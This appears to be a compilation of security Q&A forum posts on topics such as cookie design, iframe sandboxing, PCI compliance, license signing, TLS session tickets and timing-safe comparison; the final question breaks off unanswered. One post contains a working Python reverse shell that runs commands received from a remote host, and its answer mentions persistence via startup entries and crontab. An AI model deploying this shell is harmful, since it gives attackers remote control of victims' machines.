Encrypt entire CSV file, but decrypt only specific fields? I have some data in CSV file, say data.csv with columns age, sex, country and status. Is it possible I could encrypt the entire CSV file some way which allows me to fetch only selected columns, say country and status, from the encrypted file and then decrypt to get back only those fields in clear text?

I am talking something similar to column-based encryption available in some databases but I cannot use any databases.

One idea I have is while encryption i encrypt each field column one by one, put a delimeter and then encrypt other field and append to the previously encrypted field but i am certain its a bad approach.

Transpose the CSV before encrypting. So each column is its own contiguous block.

So the CSV:

a,b,c
1,2,3
4,5,6
7,8,9

is stored as three blocks. The format of these only requires that you have some way of finding the beginning of each column in the file and that you have some way of delimiting values. I am not specifying an encoding. But one could use CSV encoding for the values where the spaces in the following are actually commas and the values are a single line.

a 1 4 7
b 2 5 8
c 3 6 9

Each of the lines represents a block where the part in brackets is encrypted:

a [1 4 7]
b [2 5 8]
c [3 6 9]

Then you can iterate over the rows by doing decryption steps on each column and merging their output to produce rows as the values may be of variable length the amount of decryption steps on a column depends on the length of the value in that column.


Is this a valid secure cookie scheme? I have a scheme for a cookie with high-level confidentiality of information. The information to be hidden from the client is the expiration time of the cookie. I am wondering what insecurities i am opening myself up to with this scheme.

Note below that | denotes concatenation and (text)k is text encrypted using key k.

cookie = creation_time | (expiration_time)k | HMAC(creation_time|expiration_time|server_key , k) where k = HMAC(creation_time, server_key)

Steps for key validation are:

Ensure creation_time is valid time stamp
create k = HMAC(creation_time, server_key)
decrypt (expiration_time)k using k.
ensure (expiration_time - creation_time <= T) && current_time < expiration_time where T is a server allowed TTL for a cookie.
compute HMAC(creation_time | expiration_time| server_key, k) and compare against the cookie value. if they are the same the cookie is valid.

The whole point of this cookie is to allow me ensure a cookie is received by the user at one point and pinged back through ajax within a time T.

There are a few things wrong with this construction.

You didn't define which encryption algorithm you're using. If you were to use a block cipher mode with padding, such as CBC, your design would be potentially vulnerable to a padding oracle attack, since your server must decrypt the encrypted expiration_time value before validating the authenticity record against the plaintext. You should apply authenticity checks against the ciphertext wherever possible.

It's also not clear how the delimiters work between fields. You should define how each individual field is separately produced to avoid any confusion on the decoding process.

While not critical, it's also bad practice to have a single shared key for both encryption/decryption and authenticity (HMAC). You should always aim to have independent keys for these.

All in all this is an overly complex design.

A simpler way is to just store the expiry time as a session variable, like this in PHP:

session_start();
$_SESSION['expiry'] = time() + 60 * 60 * 24; // now +24 hours

And then in each request:

session_start();
if (!isset($_SESSION['expiry']) || !is_int($_SESSION['expiry']))
{
    // expiry time has been unset or corrupted somewhere, log and fail
}
if ($_SESSION['expiry'] < time())
{
    // session expired, do whatever you need to do about this
}

This saves the complex cryptographic scheme and the client-side access to the token.


How can I embed iframe securely without restricting its functionality? I'd want to embed an iframe from untrusted site into web application. Iframe:

should be able to run Javascript and browser plugins (Flash, etc.)
should not be able to access my web application through Javascript
_self, _parent, _top links should open pages in the same iframe, not full browser window (I don't want my site to be replaced by other)
_blank links should be opened in new browser window/tab

(In a word I want to restrict functionality of embedded site as less as possible)

Is it possible to do?

I'm aware of iframe's sandbox attribute but I can't determine if it can be done using it.

The sandbox attribute will prevent top navigation by default and can be configured to allow scripting using allow-scripts. The same origin policy in all current browsers should prevent any iframes that have content from a different origin (host) from accessing your application using JavaScript, the sandbox attribute will do it even for same-origin iframes.

So in short, sandbox should fulfill your requirements, although you would need to test if _blank works as expected.

However, you should be aware that not all browsers support the sandbox attribute, and the ones that don't will treat the iframe as a non-sandboxed one.


Is PCI Compliance mandatory? I recently started working on an eCommerce addition to a site I'm working on.In my research
looking for a way to do SSL without a certificate/a free certificate I came across PCI Compliance.I have been reading the PCI DSS Requirements from : https://www.pcisecuritystandards.org/documents/pci_dss_v2.pdf and to be honest a lot of this sounds a bit overkill for what I'm doing.

The shop I'm working on will sell around 20 products initially to a very small amount of customers.We're using a hosting provider and we are a total of 3 employees at the company at the moment.Is PCI Compliance mandatory or just recommended and if not mandatory is it really neccessary in this case?

Thanks

First of all SSL without a certificate is not possible, don't try to roll your own security because you will fail at it. You might think "hey how would you not know that I'm actually a very good crypto expert" well because you wouldn't be making such statements.

PCI-DSS is only mandatory if you are processing credit card data. This means that if you accept and store credit card information, you are required to be PCI-DSS compliant. What if you are not compliant?
Well according to this reference:

  If you do not meet the PCI standards for compliance and the security
  of your site gets compromised, you will be facing penalties and fines
  ranging from $5,000 to $500,000. The fines, however, are just the
  beginning of the overall damage caused by noncompliance.

  If your website or company are not PCI compliant, you run the risk of
  losing your merchant account, which means you won’t be able to accept
  credit card payments at all. You will also be placed in the
  Visa/MasterCard Terminated Merchant File (TMF), making you ineligible
  to obtain another merchant account, at least for several years. The
  TMF, is essentially a BLACKLIST from which it is almost impossible to
  be removed.

  When a merchant is added to the TMF, sometimes called The Match File,
  their name, business name, business address, and home address are all
  noted. So, you can’t just apply for a new account under the name of
  another family member or business partner because it will be seen as
  the same business and location.

  Getting on The Match File is just about the worst thing that can
  happen to any merchant.

Now as you read there is a fine, just FYI the fine comes ontop of all the fraudlant charges (which you will be held accountable for as well).

If you're thinking, "how can I make a business if I can't accept credit cards?" quite simply by using a payment gateway such as Paypal which takes care of all payments (and thus also takes away your need to be PCI-DSS compliant).


Is it safe to assume that my computer's clock will always be synced with actual time within the second or a few seconds at the worst? Years ago, I was running a service where the moderators were able to do various actions with massive privacy implications if the accounts or contributions were less than a short period of time. I did this by checking the timestamp against the current Unix epoch, allowing for X hours/days. Normally, this worked well.

One day, the server where this was hosted on had been "knocked offline" in the data centre where I was renting it, according to the hosting company. When it came back on again, its clock had been reset to the factory default, which was many years back.

This resulted in all my moderators potentially being able to see every single account's history and contributions in my service until I came back and noticed the wrong time (which I might not even have done!) and re-synced it. After that, I hardcoded a timestamp into the code which the current time had to be more than or else it would trigger "offline mode", to avoid any potential disasters like this in the future. I also set up some kind of automatic timekeeping mechanism (in FreeBSD).

You'd think that by now, not only would every single computer be always auto-synced by default with tons of fallback mechanisms to never, ever be in a situation where the clock isn't perfectly synced with "actual time", at least down to the second, if not more accurately; it would be impossible or extremely difficult to set the clock to anything but the current actual time, even if you go out of your way to do it.

I can't remember my Windows computer ever having been out of time for the last "many years". However, I do important logging of events in my system running on it. Should I just assume that the OS can keep the time at all times? Or should I use some kind of time-syncing service myself? Like some free HTTPS API, where I make a lookup every minute and force the system clock to me whatever it reports? Should I just leave it be and assume that this is "taken care of"/solved?

No, in general. Time keeping is an important part of the kernel's duties, but it's not infallible, especially when you're talking about scenarios where other failures are occurring. In general you should not assume that all machines have the correct time in all circumstances, and your security should not depend on this assumption.

The only onboard clock that most computers have is the Real-Time Clock (RTC). This is the clock on your PC's motherboard that historically was powered with a coin cell battery. This clock is typically the default clock for the system, as it is always available. There are many different constructions for this device with varying degrees of accuracy and robustness. Some are just cheap parts that don't work well. Obviously these devices can have bad batteries, in which case they can keep poor time or no time at all. Some constructions are also vulnerable to temperature fluctuations. I've worked with systems in recent memory where the resolution of the RTC was limited to one second, meaning you query the RTC and it only returns a full seconds value, meaning that the reported value can be up to half a second off of the true time (even assuming perfect time is kept).

However, even accurate clocks are only accurate to a certain degree, limited by the accuracy of their crystal oscillators. Most RTCs are spec'ed to have an accuracy of 20 or 30 parts-per-million. This results in a drift of about 1.7-2.5 seconds per day. Some such devices might be more accurate, while others might be less accurate even if they're spec'ed higher. It's not hard to find examples online of people who report drift that is 5-10 times worse than that. This drift must be compensated periodically either manually or through an internet timeserver in order for your machine to keep accurate time.

Note that some systems do not have a RTC, which means they are incapable of keeping accurate time without an internet connection. A notable example of such a system is the Raspberry Pi.

There are other onboard time-reckoning devices such as the Programmable Interval Timer (PIT), High-Precision Event Timer (HPET), and the processor's timestamp counter (TSC). All of these can be used to augment the notion of time that the computer gets from the RTC and internet time servers, but the RTC is the only onboard device that keeps actual time while the computer is unpowered.

Thus, when your computer first boots it uses the RTC to establish what time it is, and then later it will update that notion based on an internet timeserver. It will periodically check in with the RTC and/or internet timeserver to update itself, but between these events it uses those other time sources to keep track of roughly what time it is.

Now how can this system go wrong? If you don't have an internet connection, then the only time source the system can use for the real wall-clock time is the RTC. The RTC will drift, and it might drift up to the tune of 10-20 seconds per day if you're particularly unlucky. The machine normally compensates for this automatically, but if you don't have the internet then this doesn't happen. Even if you had a one-day outage, for example, your machine could drift well outside of your 1-2 seconds parameter with bad hardware.

Second, when a time discrepancy is detected the default behavior is to adjust the clock time gradually rather than setting it instantaneously to the new value. There are lots of processes on the system that are using time and timers constantly (TCP packet timeouts, GUI event loops, etc.) and these processes typically don't take it well when time jumps around. Thus, for a short period of time the clock will artificially run faster or slower than the true time while your clock catches up to the true time. Your clock can even appear to stop, or I've heard in extreme cases run backwards depending on what your specific system implementer did.


Is two factor authentication broken? In a comment to this question it is asserted two factor authentication doesn't really improve security, and this Security Week article is referenced. I find I lack the necessary background to understand the article and found it didn't really give any concrete explanation as to why this would be the case, except for referring to Man in The Browser attacks but these seem unrelated.

I realize good security has layers and just because 2FA has flaws doesn't mean it's no good, but is it really that vulnerable it is more of a waste of time to turn it on?

The article you are referring to is talking about SMS as the second factor. A better practice is to use an authenticator app (like google authenticator) as the second factor. This gives you a code that is only valid in a small window. Anyway if they have access to your phone this want help you either.

The problem with SMS as a second verification step is that it has several risks. NIST no longer advices to use sms-based 2 factor authentication (https://pages.nist.gov/800-63-3/sp800-63b.html section 5.1.3.2. Out-of-Band Verifiers)

So where possible use 2FA but with an authenticator APP.


GPG based on-the-fly folder encryption I am trying to find a good way to combine Owncloud with client-side encryption.  Ideally, the requirements are:

encryption relatively transparent (mostly text/.odt files) and cross-platform (Win, OS X, Linux)
file-level encryption (so that versioning/backup still works)
ideally files can be viewed server-side with a key (this will require a new owncloud plugin)
sharing of files possible (ideally with multiple keys)

So far I have looked at:

encfs, however, it is weak if an attacker has multiple versions of the cyphertext so is out.
GnuPG looks more secure and definitely better for sharing, however, it's not so easy to do on-the-fly encryption like encfs does
ecryptfs looks like a non-starter as it's linux only and would require monolithic files to be backed up.

Are there any suggestions for a way to use GnuPG so that it is relatively transparent to the user.  Ideally it would be good to have a similar mechanism to encfs, in which a folder is created and all files put in that folder are encrypted with the appropriate sharing permissions.  It would be best if files were stored individually (I know this leaks some info but also allows for owncloud versioning to work).  Then the encrypted folder is synced to owncloud (and it shouldn't be too hard to write a GnuPG decrypt plugin for owncloud eventually)

Cryptomator can potentially meet at least some of your needs, and seems to be designed for this use in mind: that is, transparent client-side encryption/decryption of individual data files stored with a cloud storage provider, while obscuring filenames.

  encryption relatively transparent (mostly text/.odt files) and cross-platform (Win, OS X, Linux)
  file-level encryption (so that versioning/backup still works)
  ideally files can be viewed server-side with a key (this will require a new owncloud plugin)
  sharing of files possible (ideally with multiple keys)

✓
✓

this will certainly involve some manual inspection/comparison of, say, timestamps to determine which file to revert from the ownCloud interface, since filenames are obfuscated

¯\_(ツ)_/¯

I suppose it's possible, since other cloud storage providers have integrated it into their own web-based services according to this page on the Cryptomator site

ehhhh, sorta, but probably not in the way that you'd hoped

this would be possible at the level of encrypted containers, if you shared the key file or passphrase used to unlock the container; this is easily done if you can meet the other person in the physical reality, not so straightforward across the InterWebs
and this is obviously not going to be integrated into ownCloud's built-in sharing workflow, such that you could just pick a username and click a big "Grant Access" button

Other notes

Recent versions of ownCloud have server-side encryption, as mentioned in this FAQ

not sure if this is a paid "Enterprise" feature nowadays or a "core" feature
this will not protect user data from local administrators, only encrypts it in transit to a third-party storage provider like Dropbox or Google Drive
ownCloud GmbH's original press release, from late 2018

Not much luck with searching for "client side encryption" on the ownCloud forums


Does "Magic Numbers" weaken encryption? I was wandering at superuser and I found this question: Compress and then encrypt, or vice-versa?

Nearly all files have a Magic Number at a certain position in them. So, I wonder if I can attack (to break encryption or reduce possiblities...) by guessing several popular file formats?

I am aware that my question is very general without mentioning any encryption method or file format but I'm also looking for a general answer.

Thanks!

Trying to use the encrypted and plain "magic numbers" to figure out the key is a type of known-plaintext attack.  Modern encryption algorithms are highly resistant to this sort of thing -- typically, trying every possible key is the only known way to do it.

Magic numbers and other file structure makes it easier for an attacker to tell that their latest guess at the key was correct, but they don't reduce the number of guesses needed.


Is this a secure method for authenticating clients? I am working with several other people in writing software which requires authentication before it accesses resources. In order to authenticate, we devised the following strategy.

Client sends a SHA1 of a username to the server
Server responds with a user's unique ID, which is a public key in an RSA key-pair
Client creates a SHA256 hash of a user's login details, and encrypts it using the unique ID.
If the hash matches the hash of a user's login details, the server responds with a specific value, and records the timestamp of the moment the response was sent.
The client responds by encrypting the timestamp at the time it receives confirmation, and sends it to the server.
If the timestamp sent by the client is within x seconds of the server's recorded timestamp, the server considers the client authenticated.

Currently, the client-server communication will take place using SSL/TLS over TCP.

My question is as follows: Is this method secure enough and, if not, what can be done to improve it?

What are you trying to achieve ? In particular, why would you create a new RSA key pair ?

You use SSL; that's good. With SSL, the client has some strong guarantee that it talks to the right server, and that what the client will send will be readable only by that server. At that point, just send the user login and password through the tunnel. There is no need to fiddle with timestamps and additional public keys and hashing and whatsnot. SSL is enough.

On the server side, just store a password hash, as a second line of defence (you do not want someone who got a quick peek at the server's database to obtain a full list of valid passwords immediately). But this is on the server and irrelevant for the actual protocol. The protocol is: client connects to server with SSL, client sends login+password in the SSL tunnel, server verifies the password and is happy (or not).

If the SSL protection is not enough for you, then either the client or the server (or both) is under hostile control, and you have bigger worries, and there is nothing more you may do to fix that. Your games with extra keys and hashes and timestamp bring a lot of extra complexity and overhead, for no security benefit.


Is CORS ever needed during any aspect of OAuth / OpenIDConnect Authentication? I'm looking at OpenIDConnect authentication and trying to determine if either "simple CORS" or "complex CORS" is ever leveraged during authentication or authorization.

Background

A Simple CORS (with no preflight) involves:

HTTP method of:

GET
POST
HEAD

And a content type of

multipart/form-data
application/x-www-form-urlencoded
text/plain

Will result in a server provided Access-Control-Allow-Origin in the response

Any other X-header or Method will result in a preflight OPTIONS request.

Question

Does any form of OAuth leverage CORS in a manner that uses pre flight requests?   (Info on OpenID Connect preferred, but any implementation of OAuth is interesting)
Does any form of OAuth leverage CORS lacking the pre flight request?
What configuration of CORS would cause a security vulnerability for an OAuth identity provider, or relying party/resource?

I'm not sure about OpenID, but for OAuth there is no CORS involved for the actual authentication part, though it may be required on the resource server depending on the type of client that is connecting.

In RFC 6749, which defines the OAuth 2 framework, there are four different methods defined for the application to gain authorization (here, client means the server that wants to access the data, resource owner and end user mean the person who's data it is, who grants access to it, and host means the entity that provides the authorization and API endpoints):

Authorization code, which is used when the client is running a server. This is the most common method.
Implicit, which is used when the application is running inside the user's browser.
Resource owner password credentials, which is where the end user's username and password are used to authenticate with the server directly. There isn't an auth flow for this - the user just has to give the application their password.
Client credentials, which is where the client has automatic access to the resources. There isn't an auth flow for this because it's automatic.

When using the authorization code method, a high level overview for the auth flow is that the client redirects the user to an authorization page on the host. When the end user grants access, they are redirected back to the client's site. On receiving the request, the client's server will make a request to the host to swap the temporary token for a permanent token, which they then use to make API request from their server.

With this method, all requests are made from the client's server to the host server, so there is no need for CORS. The only requests made in the end user's browser are the redirects, which aren't affected by CORS.

When using the implicit method, when the end user is redirected after granting access, the permanent code is retrieved from the URL by a (javascript) script running in the end user's browser on the client's website. This code is then used by javascript scripts running in their browser to access the API.

CORS needs to be used for the actual API endpoints with this method (if the requests would need CORS anyway - there's nothing special about it being authenticated using OAuth, so GET requests don't need CORS but DELETE requests do), because they are being accessed from within the user's browser. However, the authentication flow doesn't need CORS because, again, it is handled using redirects rather than cross-origin requests.


Can browsers connect HTTPS w/ the NONE cipher? I came across a mention of the NONE cipher being possible/available for HTTPS.

Is it supported by any browsers for accessing any web-sites over the https:// address scheme?

(What would be a snippet to create a test/one-time https server with the NONE cipher?)

Is it supported by any browsers for accessing any web-sites over the https:// address scheme?

I think you are referring to TLS_NULL_WITH_NULL_NULL or similar ciphers were no encryption is done. None of the current browsers offers this cipher and I don't think that there will be a reason in the future to offer such more than weak ciphers because you would just get the overhead of TLS without gaining any security.

As for TLS_NULL_WITH_NULL_NULL specifically the RFC 5246 (TLS 1.2) states that is just the initial state and should never be negotiated. There are other ciphers with NULL encryption like TLS_RSA_WITH_NULL_SHA which still offer authentication but since they don't encrypt it is unlikely that you will see these ever offered by the browsers.

For details about the ciphers offered by the various SSL clients see https://www.ssllabs.com/ssltest/clients.html.


Encrypting/decrypting our license key We need to provide a license key to customers for our application. The actual license is XML but we need to encrypt it and then in our program decrypt it. I think it is the following, but am asking to make sure I'm not missing something (the below is updated from encrypting to signing based on the below comments):

On our server create the XML for the key. The key is in the key container on the server.
On our server sign the XML using our private key.
UUEncode the encrypted license so it emails ok.
Email the license to our customer.
The customer puts the license in their app.exe.config file.
The app reads the license from the config file.
The app UUDecodes the license.
The app verifies the signing using our public key. The public key is embedded in the program.
We now have the XML and use the license properties.

Is this the best way to do this? If not, what approach should we take?

If yes, what .NET API should we use for this and are there any links to sample code?

And a giant thank you to all who walked me through this.

Sign Your License File

You want to sign the data with your private key to create a signature.

Generate a license file
Sign the file with your private key.
Provide the public key with your application
In your program, verify the file contents have not changed with your public key.

The signature cannot be replaced since only you have the private key to sign the license.  If any piece of the license file has changed then the verification will fail, and you can stop execution of your program.  Notify the user as you see fit.  The important part to realize is that you're not stopping them from modifying it, but if they do then they invalidate the license.

Encryption is the wrong route to take because no matter what you would have to hard-code the encryption key somewhere in your application.  Signing the data is much more secure.

Here is a nice introduction to how signing data works (opens a PDF).

Signing Data w/ .NET

I believe this MSDN article will show you all you need to digitally sign an XML file in .NET.  There is a full code example at the bottom.

You'll need to create your own RsaCryptoServiceProvider, and setup properties to only contain public keys.  Then during installation you'll need to export your public key to the service provider using ExportCspBlob(false).  You can export your public key in a well known format like PEM and hard-code it.  Here's an example with lots example code for working with encoded strings, creating RsaCryptoServiceProviders, etc.

That last link includes an example that exports the private key as well as the public.  You don't want to include this!


Security risks of hosting user-supplied images? I have a program that will accept and fetch images from urls. It will check if the extension is .png, .jpg, etc...

I will fetch these files and store them, they will be shown to users in a gallery (like Imgur and TinyPic). I can't trust these files to be images.

How can I verify that those images are actually images and not, for
instance, a php shell script?
If I do this, will I have other security risks?

I know there is a magic number for files, so how would I be able to verify this? (language would be python).

An image might still be a valid image and still contain malicious material such as embedded comments or other (undefined) attack vectors.  One -- albeit old -- example was the GDI JPEG vulnerability in Windows from 2004.

I think your primary concern is to ensure that your image-acceptance mechanism is simple and tight.  You'll want to watch for file permission errors, resource exhaustion (running out of space, tying up network resource, etc.) and path attacks (eg. potentially overwriting files).

Furthermore, ensure that any string-handling checks are strictly and precisely defined. There was a recent question on sec.SE regarding attacking ASP upload code that used a less strict string searching mechanism.

Finally, search this site for the term "upload".  Some fine examples which can give you a clear picture (no pun intended!) of all of the challenges you may face:

What steps should be taken to validate user uploaded images within an application?
What are the security risks of letting the users upload content to my site?


Is it a good practice to make sudo ask for root password in a single-user system? I have a server where I am the only normal user and I need to have password-based authentication enabled for SSH. I have configured iptables with recent module which throttles SSH connections and root logins over SSH are disabled. However, let's say that intruder is able to brute-force my SSH password. This means that once he has logged in as a normal user he can execute privileged commands using sudo with the same password. Am I correct that in such scenario it makes sense to configure sudo in a way that it asks for root password?

Yes, you should.

In a brute force attack against the raw hash, sudo won't help you. However, you should be aware that in other attacking methods, sudo is able to offer some protection.

If, for example, an attacker is able to break into your machine with an exploit, he does not know the password. Potentially delaying or stopping an attack as the attacker does not have the proper privileges to carry out system commands.

However, sudo should be a last line of defense. Once an attacker is in, they are in. Privilege escalation is a commonly practiced strategy. An experienced attacker should be prepared to escalate privileges.


SELinux related to fips 140-2? I'm preparing a CentoOS based product for FIPS 140-2 level 2 certification and I have gone through the guides on enabling FIPS mode in RHEL Distros.

Is SELinux somehow related to FIPS requirements?
FIPS requires roles-based authorization, which to my understanding is supported on SELinux (or AppArmor).

SELinux is not related to FIPS 140-2. You can use SELinux as part of a FIPS-compliant product; you can equally not use SELinux as part of a FIPS-compliant product. Whether it's a good idea to use SELinux depends on the complexity of your product and on how much work has already been done (by you or others) in defining relevant SELinux policies.

FIPS 140 level 2 requires at least role-based authentication. User authentication, as provided by the most basic Linux system, is sufficient. Role-based authentication means that you're allowed to have shared accounts (e.g. a direct login to root), but you don't have to use any shared accounts.


How dangerous are reverse-shells to a network? I'm working on a simple reverse-shell thingy in Python. It can accept and interpret commands on a shell spawned on the victim. Unfortunately it doesn't support features like ping, traceroute, nbtstat (for windows machines), nslookup (for windows too), for reasons I don't understand well enough. My question is, how much of a threat are these reverse-shells to a network? They seem trivial in the sense that a standard user would (and should) have their privileges restricted, so no harm can really be done, and the reverse shell seems like something you'd go over to a mate's house and plug into his computer for proof-of-concept. Also, links to further reading would be appreciated; the "inside-out" attacks really interest me.
Thingy:
Ah sorry forgot to include the "thingy" :)

#! /usr/bin/python3

import socket, subprocess, os
from sys import argv

script, host, port = argv

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((str(host), int(port)))
except ValueError as err:
    print ("You entered the wrong host / port combination or something...")
    print ("Here is the error message:\n{}".format(err))
except (socket.error) as err:
    print ("Socket error of some sort...")
    print ("Here is the error message:\n\n\n{}".format(err))

while True:
    s.send("Command: ".encode("utf-8"))
    comm = s.recv(4096)
    comm = comm.decode("utf-8")
    print (comm)
    if comm[:2] == "cd":
        os.chdir(comm[3:].rstrip())
    p = subprocess.Popen([comm], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding = 'utf-8')
    s.send(p.stdout.read().encode("utf-8"))

In an ideal world, no computer should ever have a vulnerability, right?
 Unfortunately, we don't live in such a dreamworld, and when vulnerabilities are exploited, the payload is often a shell of some kind.

Even the most restrictive networks often allow DNS queries to be sent and responses received; this is sufficient to host a reverse shell, but not a forward shell.

Sometimes it's only a matter of time. Many a nasty surprise has been had as a result of the underprivileged breaking out of their confines with privilege escalation vulnerabilities, local buffer overflows, etc, and if you have a shell running as an underprivileged user on a system at the right time, that's your foot in the door. Underprivileged access is good for the patient "hacker"; he/she can just bide time waiting for a vulnerability to come along...

... and then what better tool to keep access to the system when administrative access is obtained? It just needs to be added to startup registry, as a system service, crontab or many other places...

That aside, not every vulnerability needs to result in root access. I recall once upon a time when I'd written a C program to serve a few static images. Now you'd think that such a program shouldn't contain a buffer overflow, and I was fairly confident, but it did. It did, and it was exploited. It might've been isolated from the rest of the system, but that didn't stop the "hacker" from running nmap to scan subranges on my system.

Perhaps if I'd had a network-enabled printer on my network, or a vulnerable router, they could've used the underprivileged account to gain access to other systems! At that point, again, such a hacker could bide their time, occasionally testing the entire internal network for vulnerabilities in the future and waiting for administrative access, if the intercepted traffic and documents aren't lucrative enough...

This also reminds me of an era when IRC was a disgusting quagmire of infectious filth. Spam would be in the form of commands which some users would type, and then their systems would be used for further spam, of course. This is still no doubt the fate of many compromised machines, since forging unsolicited bulk email doesn't require administrative tools and may provide a financial incentive.

While we're on the topic of financial incentives, have you been following the price of ether?


Intrusion Detection System (IDS / IPS) useful for Linux home users? Can an Intrusion Detection System or Intrusion Prevention System (IDS / IPS) increase the security of home users using Linux?

Or is an IDS / IPS even less useful than antivirus for Linux?

Is an IDS / IPS more useful in company networks and so forth?

Yes, configured and used correctly, an IDS or IPS will increase security for any user.

But also antivirus will increase security for users on any operating system, so your assumption is incorrect there.

The amount it will increase security depends on a huge number of factors, though, so we can't tell you how much it will help you. It will help company networks more, because they have a broader risk profile than you will at home, but you will need to run your own risk assessment.


SSL/TLS Session Resumption with Session Tickets We already have SSL session resumption enabled using a session cache. Based on an in-house performance report, enabling Session Resumption using Session Tickets is recommended.

Is the performance increase gained from this worth the additional security risk? (From what I understand there is only a problem if the client is compromised. Could a compromise of one/several clients lead all encrypted traffic being compromised?)

Would there be failures/problems if not all clients supported this? (From what I can see the client will advertise it that it support Session Tickets and then server will react accordingly, clients who do not support this will not be affected)

If a client is compromised then that client is compromised. Session tickets don't change that one way or another...

Session tickets are a TLS extension by which the server pushes the session context into the client. From the point of view of the client, the ticket is opaque. To prevent ticket forgery or alteration by malicious clients, the server is supposed to employ some encryption and integrity check when it builds the ticket. If the server does its job properly (e.g. as recommended in the RFC), then session tickets do not introduce any extra weakness. A compromised/malicious client will not learn anything that allows it to decrypt the TLS sessions of other clients, or forge tickets.

The only situation where session tickets are not recommended is when servers want fine-grained control on the maximum duration of the session for each client, independently of other clients (e.g. if your Web site session management relies on the TLS session instead of some HTTP-level cookie or something similar). When the session context is saved server-side, it is easy for the server to simply forget that context. With session tickets, you cannot enforce forgetfulness on the client side. But we are not talking weaknesses here, only functionalities.

Since TLS session tickets are a TLS extension, they do not impact clients that do not know about them. A given TLS connection will use a ticket only if the client explicitly announces support for the extension in the ClientHello message. If a client does not support TLS session tickets (e.g. IE on Windows 7), then it won't talk about session tickets in its ClientHello, and neither will the server say anything about session tickets.

The consequence, though, is that even if you activate session tickets, this is an opportunistic optimization. The server must still be able to handle "normal" sessions for clients that do not support session tickets. You shall not disable non-ticket sessions until all clients have implemented the new support. Since the TLS implementation in Windows 7 does not know about session tickets, you will probably have to keep on supporting non-ticket sessions for some years still.


Python Antivirus comparing hashes I'm writing an antivirus in python mostly to learn and for research purposes, I do understand it would be more efficient to do this in something like C and eventually I will port this over. So far I have coded the first part of the AV that will check virus share and download the latest hashes to a file.

From here I'm not sure how to have the hashes compared to a database so I can see the malware family it's part of. Is there a resource online or some API I can use? I would try VirusTotal, but since it's a free account I have it can only do 4 requests per minute.

Lastly, does the AV need to hash all legitimate files on the system when scanning then compare that to my list of malicious signatures? I plan to build upon this and eventually use ML but for now I want to keep it as simple as possible and learn while I go along.

I would suggest rethinking your approach.

Hashes are not virus signatures; they only serve as a fingerprint to identify files. With most conventional hash algorithms (e.g. SHA256), modifying the input slightly results in an entirely different hash output. Thus there is no correlation between malicious features in your virus files and their hashes. Attempting to train a machine learning model on file hashes would be useless; it would simply overfit the input dataset.

If you're building your AV purely using a hash-lookup approach, your current method works fine. It may be good to find a virus source that provides both the file hash and malware family, thereby circumventing 4 per minute restriction of VirusTotal. If you intend to analyse malicious features in files however, you will need access to the virus files, not just the hashes.


How to protect against mitm attacks in first connection? - no HSTS Preload i have been searching around this area about mitm attacks and realize that every single page that doesn't have HSTS preload is vunerable to mitm attacks in first connection to the site. the solution to this, is to add it to the HSTS preload list : https://hstspreload.org/

But for differents reasons some websites can't implement this because as a bug bounty team told me 2 days ago:

"we are limited in some technical example.com subdomains.
At foreseeable future, we can't force HTTPS on all subdomains because it breaks dependent infrastructure"

does anybody know another way to protect agaisnt this attack without adding the domains and all subdomains into the HSTS preload list??

every single page that doesn't have HSTS preload is vunerable to mitm attacks in first connection

That's only true if you connect initially to the HTTP version of the website. If you manually add (or verify the presence of) https:// when going to the site, or if you use a browser extension like HTTPS Everywhere, you don't have to worry about being kept on the unencrypted site and MITMed.

If you want to be absolutely sure that you can't connect to a non-HTTPS site, you can configure the extension to block all unencrypted websites. This will allow you to avoid the risk of MITM without needing to manually verify that the website you are on is indeed using encryption.

Unfortunately, it's not possible for a website to prevent this attack on its own without preloaded HSTS. It's entirely up to the users of the website to be aware of the encrypted status of their session.


How secure and how to find if a website use Flexible SSL from Cloudflare? How secure is that technology? Can someone tamper with your traffic between a server and Cloudflare in the first place?

And if the answer is yes, how can you check if a website is using the Flexible SSL?

Obviously, it is not the most secure way to serve the server's data, but websites which don't want to pay for a certificate, they use that free feature.

  Flexible SSL: There is an encrypted connection between your website
  visitors and CloudFlare, but not from CloudFlare to your server.

  You do not need an SSL certificate on your server
  Visitors will see the SSL lock icon in their browser

So 2 questions, the 2nd question is a summary of the first.

  How secure is the Flexible SSL technology?

For example, can someone attack you with a Man-in-the-middle attack?

your server  ->  attacker ->  cloudflare

If the answer to the first question is "It is not secure and there are a couple attacks that can be done like MITM attack", the second question is:

  How can the attacker find out that there is a Flexible SSL connection?

Flexible SSL does not provide end-to-end encryption. From here:

you can see that the CloudFlare link to the server is unencrypted.

However, as the user link to CloudFlare is, this mitigates most typical Man-In-The-Middle scenarios. For example, ranging from Mallory on the coffee shop wifi connection, to rogue employees at an ISP, all the way up to government agents in a regime (except for the case where this government controls their own trusted root/intermediary certificates they could use to sign your domain).

Risks of having the CloudFlare to server link unsecured means that not only is the traffic unencrypted, there is no authentication between CloudFlare and your server. Any attackers in such a privileged position to perform a BGP Hijacking attack, would be able to reassign the IP address of your server to their own server, and intercept the traffic. If you are connecting from CloudFlare to your server by means of a hostname, then some type of DNS attack may be possible. This would probably have to be an attack on the DNS records themselves rather than a DNS poisoning attack because it would be difficult to pinpoint which CloudFlare endpoint would be resolving the lookup.

This also does not protect you against any rogue ISP employees or government agents within your hosting country.

As for the end-user - there is no real way of telling whether a connection is via Flexible SSL because the browser address bar and padlock will only authenticate their connection to CloudFlare, not to your server.

As for any attacker - they may be able to do some passive recon and find out where your domain used to point to, giving them the address of your endpoint. From here they could try some direct connections to find out if your server accepts HTTPS connections, or is simply plain HTTP. You can mitigate this by blocking all source traffic not sent from CloudFlare's IP ranges.


Timing-safe string comparison in high-level languages I'm looking for a reliable solution to compare two strings without leaking their content through time differences. The length of the strings is not secret.

The background is this: I'm implementing password-based authentication for a web application. The passwords are hashed with bcrypt and stored in a database. Rather than giving the application direct access to the hashes so that it check the password, I'd like to delegate this to the database system itself. The application only hashes the password and then passes the hash to a database procedure. This procedure has special privileges to access the stored hashes and compare them with the provided hash. The goal is to protect the hashes against SQL injection attacks. A similar idea is described in this presentation.

Obviously, this scheme is only effective if the procedure does not leak any information about the stored hashes. So the string comparison must be timing-safe.

I'm aware of the following method (pseudo-code):

string_comp(str_1, str_2):
    if str_1.length != str_2.length:
        return false
    else:
        result := 0
        for i := 0 to str_1.length - 1:
            result := result | (str_1[i] ^ str_2[i])

        return result == 0

However, this is rather cumbersome, and I'm not sure if it works as expected in high-level languages like SQL.

